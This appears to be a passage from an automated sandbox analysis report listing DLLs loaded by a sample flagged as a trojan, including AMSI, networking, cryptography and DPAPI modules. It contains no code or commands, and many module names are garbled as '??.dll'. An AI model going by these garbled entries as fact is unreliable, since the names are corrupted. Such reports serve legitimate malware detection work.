Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???y.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???y.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???y.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???2.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???2.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???2.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
